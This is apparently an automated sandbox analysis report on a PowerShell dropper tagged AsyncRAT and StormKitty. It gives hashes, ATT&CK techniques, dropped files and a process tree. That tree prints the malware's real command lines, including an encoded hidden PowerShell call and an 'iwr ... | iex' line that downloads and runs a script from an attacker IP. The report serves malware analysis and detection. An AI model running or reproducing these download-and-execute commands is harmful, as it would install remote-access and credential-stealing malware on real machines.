asyncrat | 5605af6e3cba4057057a8cc765f94d1112d1a147171e056b1bdfcc3b38a056f0

Analysis

max time kernel
95s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
02-01-2025 18:13

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General

Target

2 ps1.ps1
Size

164B
MD5

005b395fecc3e18d5bc9acb93bf96a4f
SHA1

34db5ff90015817fe8b2fe56ca241d6965ae95d4
SHA256

5605af6e3cba4057057a8cc765f94d1112d1a147171e056b1bdfcc3b38a056f0
SHA512

199d54c7cda83e493e611da4f063baec08cbc6606f8fcedce13dc2413d67133ab26d68045981006db2eb3b996513cac09654867eb3cf00eaaac0a947934e6ff8

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/1892-74-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 3 IoCs

flow	pid	Process
6	3408	powershell.exe
8	3408	powershell.exe
18	1928	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2404	powershell.exe
3408	powershell.exe
1928	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3048	Package.exe

Loads dropped DLL 1 IoCs

pid	Process
3048	Package.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1928 set thread context of 1892	1928	powershell.exe	96

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1328	3048	WerFault.exe	86

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Package.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
2404	powershell.exe
2404	powershell.exe
3408	powershell.exe
3408	powershell.exe
3408	powershell.exe
3408	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
1892	RegAsm.exe
1892	RegAsm.exe
1892	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	powershell.exe
Token: SeDebugPrivilege	3408	powershell.exe
Token: SeDebugPrivilege	1928	powershell.exe
Token: SeDebugPrivilege	1892	RegAsm.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
3048	Package.exe
3048	Package.exe
3048	Package.exe
1892	RegAsm.exe

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 3408	2404	powershell.exe	84
PID 2404 wrote to memory of 3408	2404	powershell.exe	84
PID 3408 wrote to memory of 4684	3408	powershell.exe	85
PID 3408 wrote to memory of 4684	3408	powershell.exe	85
PID 4684 wrote to memory of 3048	4684	cmd.exe	86
PID 4684 wrote to memory of 3048	4684	cmd.exe	86
PID 4684 wrote to memory of 3048	4684	cmd.exe	86
PID 3048 wrote to memory of 4536	3048	Package.exe	87
PID 3048 wrote to memory of 4536	3048	Package.exe	87
PID 3048 wrote to memory of 4536	3048	Package.exe	87
PID 4536 wrote to memory of 1928	4536	cmd.exe	89
PID 4536 wrote to memory of 1928	4536	cmd.exe	89
PID 4536 wrote to memory of 1928	4536	cmd.exe	89
PID 1928 wrote to memory of 512	1928	powershell.exe	92
PID 1928 wrote to memory of 512	1928	powershell.exe	92
PID 1928 wrote to memory of 512	1928	powershell.exe	92
PID 512 wrote to memory of 1628	512	csc.exe	93
PID 512 wrote to memory of 1628	512	csc.exe	93
PID 512 wrote to memory of 1628	512	csc.exe	93
PID 1928 wrote to memory of 1852	1928	powershell.exe	94
PID 1928 wrote to memory of 1852	1928	powershell.exe	94
PID 1928 wrote to memory of 1852	1928	powershell.exe	94
PID 1928 wrote to memory of 1660	1928	powershell.exe	95
PID 1928 wrote to memory of 1660	1928	powershell.exe	95
PID 1928 wrote to memory of 1660	1928	powershell.exe	95
PID 1928 wrote to memory of 1892	1928	powershell.exe	96
PID 1928 wrote to memory of 1892	1928	powershell.exe	96
PID 1928 wrote to memory of 1892	1928	powershell.exe	96
PID 1928 wrote to memory of 1892	1928	powershell.exe	96
PID 1928 wrote to memory of 1892	1928	powershell.exe	96
PID 1928 wrote to memory of 1892	1928	powershell.exe	96
PID 1928 wrote to memory of 1892	1928	powershell.exe	96
PID 1928 wrote to memory of 1892	1928	powershell.exe	96

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\2 ps1.ps1"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdwByAGMAYQBmAC4AcABzADEAIAB8ACAAaQBlAHgA
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3408
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Package.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4684
  - - C:\Windows\Temp\Package.exe
      C:\Windows\Temp\Package.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3048
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4536
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } | iex"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1928
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\auibcdct\auibcdct.cmdline"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:512
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC803.tmp" "c:\Users\Admin\AppData\Local\Temp\auibcdct\CSC8E5B6C98AD694F06A9A968F3D1F62311.TMP"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1628
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:1852
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        
        PID:1660
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:1892
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3048 -s 212
        5⤵
        Program crash
        
        PID:1328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3048 -ip 3048
1⤵
PID:3852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESC803.tmp

Filesize
1KB

MD5
dd6ac972c02b60474add9992e6361d7e

SHA1
26a959e68f4fbe32dbcfb715db359b8a6c230592

SHA256
c8f0b7bc998cbda3141910523b9add89b2e38b6749a546d9b90cc9b234570a0b

SHA512
c5014a57fd26df29422a87b927e0708218a416b512603437c92ec008609289a1f31bdedac2b4b38c6836022ad94e985d05c11d319a9b650f166fb8d02654a2c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vpbwwx1n.1cd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\auibcdct\auibcdct.dll

Filesize
9KB

MD5
a909239057ffff655d44e5ee6117fc55

SHA1
1c43803068224d44b0b282865a448baf461c4565

SHA256
9394f7283718823211a15b1c43bf839cdc8280ff61c2386ddc95b24492954383

SHA512
b526ac0f267d921a4ef3c1ab6150afa3949270c4cefd6ff9f55f6aad393c316cf167ddead3a9a23beada60a1624efc89ae2f3e5dfefdc67968942c14a7e3d221

Download Submit
C:\Windows\Temp\Package.exe

Filesize
201KB

MD5
2696d944ffbef69510b0c826446fd748

SHA1
e4106861076981799719876019fe5224eac2655c

SHA256
a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a

SHA512
c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb

Download Submit
C:\Windows\Temp\iviewers.dll

Filesize
88KB

MD5
33ae2b9c3e710254fe2e2ce35ff8a7c8

SHA1
109e32187254b27e04ef18bbe1b48fad42bca841

SHA256
9c2838e120c7ed5b582bedc6177f14a52aa578adeea269d0f96fc71a95bd6e68

SHA512
2abe017e2f1d29fe789206d6483b9b33e7abd0871300d678eaba15e390d55c5e197d6cea6ea32dfdee5f65d082574adcc192a4fc0c9506bbba8ad7e957e12599

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\auibcdct\CSC8E5B6C98AD694F06A9A968F3D1F62311.TMP

Filesize
652B

MD5
7d8f41167c31fb01c469980f1bdbc718

SHA1
1386f1b74a64a64ef18ffef69943d9360d98e932

SHA256
6ae9fd4a3ba52b71a7d61eddd0f9660ab7a0cf0728634b17ee3f8c855f745651

SHA512
e6d9db57f3987fffd9691bc4898f11f1378b964bfef1ef144629e548cd7dfd96eb93bf0d1c71362fb8588dc05e9a441252cddb1aea7f9c48c20a5b5041f38384

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\auibcdct\auibcdct.0.cs

Filesize
10KB

MD5
3fa79decff8805745cea8116d9bb2643

SHA1
92343c5fa2c768b964ae3a4e9136e5d7193e8558

SHA256
e6852a401b53a7af04d57aa1e4fc9621e3dffc1221534142316a27ae67e8f89c

SHA512
5c2879e59fa6609e6e87f70c5237b250a906bf7dd13a343dac9e81635b1fc91ad9374e643a306b99503c52ce9bd56554a64aa132584c732d43ee39fb17305d78

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\auibcdct\auibcdct.cmdline

Filesize
204B

MD5
081b86672ebd471f37cea56452f00457

SHA1
ed77a18ed1ea2e43aec7423aff82be61fcc54645

SHA256
863e2e82d4c4bca5a7fd770b0d572d7bcfc0ceefa5fd78c9187e4010548965cb

SHA512
82ea3273c995b33162351ddd25ac3c31df3a7a5dd92920f45b915af697a90801148111b787164032567784abb9d96442d6b71002dfe096ac273f022ae103186d

Download Submit
memory/1892-83-0x0000000006DE0000-0x0000000007134000-memory.dmp

Filesize
3.3MB

Download
memory/1892-77-0x0000000005BD0000-0x0000000006174000-memory.dmp

Filesize
5.6MB

Download
memory/1892-74-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/1892-78-0x0000000005A30000-0x0000000005AC2000-memory.dmp

Filesize
584KB

Download
memory/1892-79-0x0000000005BC0000-0x0000000005BCA000-memory.dmp

Filesize
40KB

Download
memory/1892-82-0x0000000006950000-0x00000000069EC000-memory.dmp

Filesize
624KB

Download
memory/1892-84-0x0000000007960000-0x00000000079D6000-memory.dmp

Filesize
472KB

Download
memory/1892-85-0x0000000007A10000-0x0000000007A2E000-memory.dmp

Filesize
120KB

Download
memory/1928-43-0x00000000050A0000-0x0000000005106000-memory.dmp

Filesize
408KB

Download
memory/1928-39-0x0000000002850000-0x0000000002886000-memory.dmp

Filesize
216KB

Download
memory/1928-55-0x0000000005E20000-0x0000000005E3E000-memory.dmp

Filesize
120KB

Download
memory/1928-56-0x0000000005EB0000-0x0000000005EFC000-memory.dmp

Filesize
304KB

Download
memory/1928-57-0x0000000007480000-0x0000000007AFA000-memory.dmp

Filesize
6.5MB

Download
memory/1928-58-0x0000000006300000-0x000000000631A000-memory.dmp

Filesize
104KB

Download
memory/1928-59-0x0000000007410000-0x000000000741E000-memory.dmp

Filesize
56KB

Download
memory/1928-72-0x0000000007420000-0x0000000007428000-memory.dmp

Filesize
32KB

Download
memory/1928-42-0x0000000004F00000-0x0000000004F66000-memory.dmp

Filesize
408KB

Download
memory/1928-41-0x0000000004E60000-0x0000000004E82000-memory.dmp

Filesize
136KB

Download
memory/1928-40-0x0000000005200000-0x0000000005828000-memory.dmp

Filesize
6.2MB

Download
memory/1928-50-0x0000000005930000-0x0000000005C84000-memory.dmp

Filesize
3.3MB

Download
memory/2404-0-0x00007FFFC1E73000-0x00007FFFC1E75000-memory.dmp

Filesize
8KB

Download
memory/2404-36-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/2404-12-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/2404-11-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/2404-6-0x000001B6A9800000-0x000001B6A9822000-memory.dmp

Filesize
136KB

Download
memory/3408-32-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/3408-24-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/3408-23-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download
memory/3408-22-0x00007FFFC1E70000-0x00007FFFC2931000-memory.dmp

Filesize
10.8MB

Download